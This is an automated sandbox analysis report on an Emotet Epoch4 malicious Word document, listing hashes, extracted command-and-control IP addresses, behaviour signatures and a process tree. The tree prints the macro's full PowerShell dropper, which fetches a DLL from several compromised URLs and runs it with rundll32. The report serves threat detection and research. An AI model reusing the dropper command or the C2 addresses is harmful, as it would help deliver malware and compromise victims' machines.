Analysis
-
max time kernel
50s -
max time network
27s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
20-11-2021 13:27
Static task
static1
General
-
Target
emotet_e4_dd5a7e4515185cc96bb92889310bd45a31758afbbb8334ed912c6d829ac1e4d8_2021-11-20__132701177964..doc
-
Size
140KB
-
MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
-
SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
-
SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
-
SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
emotet
Epoch4
91.200.186.228:443
191.252.196.221:8080
94.177.248.64:443
66.42.55.5:7080
103.8.26.103:8080
185.184.25.237:8080
103.8.26.102:8080
178.79.147.66:8080
58.227.42.236:80
45.118.135.203:7080
103.75.201.2:443
195.154.133.20:443
45.142.114.231:8080
212.237.5.209:443
207.38.84.195:8080
104.251.214.46:8080
212.237.17.99:8080
212.237.56.116:7080
216.158.226.206:443
110.232.117.186:8080
158.69.222.101:443
107.182.225.142:8080
176.104.106.96:8080
81.0.236.90:443
50.116.54.215:443
138.185.72.26:8080
51.68.175.8:8080
210.57.217.132:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3480 2708 cmd.exe WINWORD.EXE -
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
-
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exerundll32.exeflow pid process 25 2000 powershell.exe 27 2000 powershell.exe 40 3364 rundll32.exe 43 3364 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1568 rundll32.exe 376 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Overisjczspcuw\kwbuadoeld.vsc rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2708 WINWORD.EXE 2708 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 2000 powershell.exe 2000 powershell.exe 2000 powershell.exe 3364 rundll32.exe 3364 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2000 powershell.exe -
Suspicious use of SetWindowsHookEx 17 IoCs
Processes:
WINWORD.EXEpid process 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE 2708 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2708 wrote to memory of 3480 2708 WINWORD.EXE cmd.exe PID 2708 wrote to memory of 3480 2708 WINWORD.EXE cmd.exe PID 3480 wrote to memory of 2000 3480 cmd.exe powershell.exe PID 3480 wrote to memory of 2000 3480 cmd.exe powershell.exe PID 2000 wrote to memory of 1568 2000 powershell.exe rundll32.exe PID 2000 wrote to memory of 1568 2000 powershell.exe rundll32.exe PID 2000 wrote to memory of 1568 2000 powershell.exe rundll32.exe PID 1568 wrote to memory of 376 1568 rundll32.exe rundll32.exe PID 1568 wrote to memory of 376 1568 rundll32.exe rundll32.exe PID 1568 wrote to memory of 376 1568 rundll32.exe rundll32.exe PID 376 wrote to memory of 764 376 rundll32.exe rundll32.exe PID 376 wrote to memory of 764 376 rundll32.exe rundll32.exe PID 376 wrote to memory of 764 376 rundll32.exe rundll32.exe PID 764 wrote to memory of 3364 764 rundll32.exe rundll32.exe PID 764 wrote to memory of 3364 764 rundll32.exe rundll32.exe PID 764 wrote to memory of 3364 764 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e4_dd5a7e4515185cc96bb92889310bd45a31758afbbb8334ed912c6d829ac1e4d8_2021-11-20__132701177964..doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1554929351.dll,f6655506044⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\1554929351.dll",Control_RunDLL5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Overisjczspcuw\kwbuadoeld.vsc",oFphVGzTD6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Overisjczspcuw\kwbuadoeld.vsc",Control_RunDLL7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\1554929351.dllMD5
8d7b38a64716482257f85636c493908a
SHA1297f32d9f037815046ef4647197b133369c808ff
SHA256c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599
SHA51210ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0
-
\ProgramData\1554929351.dllMD5
8d7b38a64716482257f85636c493908a
SHA1297f32d9f037815046ef4647197b133369c808ff
SHA256c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599
SHA51210ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0
-
\ProgramData\1554929351.dllMD5
8d7b38a64716482257f85636c493908a
SHA1297f32d9f037815046ef4647197b133369c808ff
SHA256c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599
SHA51210ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0
-
memory/376-355-0x0000000000000000-mapping.dmp
-
memory/764-358-0x0000000000000000-mapping.dmp
-
memory/1568-339-0x0000000000000000-mapping.dmp
-
memory/1568-357-0x0000000010000000-0x0000000010028000-memory.dmpFilesize
160KB
-
memory/2000-278-0x000002757A0D0000-0x000002757A0D2000-memory.dmpFilesize
8KB
-
memory/2000-306-0x000002757A0D6000-0x000002757A0D8000-memory.dmpFilesize
8KB
-
memory/2000-273-0x0000000000000000-mapping.dmp
-
memory/2000-329-0x000002757A0D8000-0x000002757A0D9000-memory.dmpFilesize
4KB
-
memory/2000-281-0x000002757A0D3000-0x000002757A0D5000-memory.dmpFilesize
8KB
-
memory/2708-125-0x0000021BCA1B0000-0x0000021BCA1B2000-memory.dmpFilesize
8KB
-
memory/2708-118-0x00007FFC4DF10000-0x00007FFC4DF20000-memory.dmpFilesize
64KB
-
memory/2708-124-0x00007FFC4DF10000-0x00007FFC4DF20000-memory.dmpFilesize
64KB
-
memory/2708-123-0x0000021BCA1B0000-0x0000021BCA1B2000-memory.dmpFilesize
8KB
-
memory/2708-122-0x0000021BCA1B0000-0x0000021BCA1B2000-memory.dmpFilesize
8KB
-
memory/2708-121-0x00007FFC4DF10000-0x00007FFC4DF20000-memory.dmpFilesize
64KB
-
memory/2708-120-0x00007FFC4DF10000-0x00007FFC4DF20000-memory.dmpFilesize
64KB
-
memory/2708-119-0x00007FFC4DF10000-0x00007FFC4DF20000-memory.dmpFilesize
64KB
-
memory/3364-359-0x0000000000000000-mapping.dmp
-
memory/3480-267-0x0000000000000000-mapping.dmp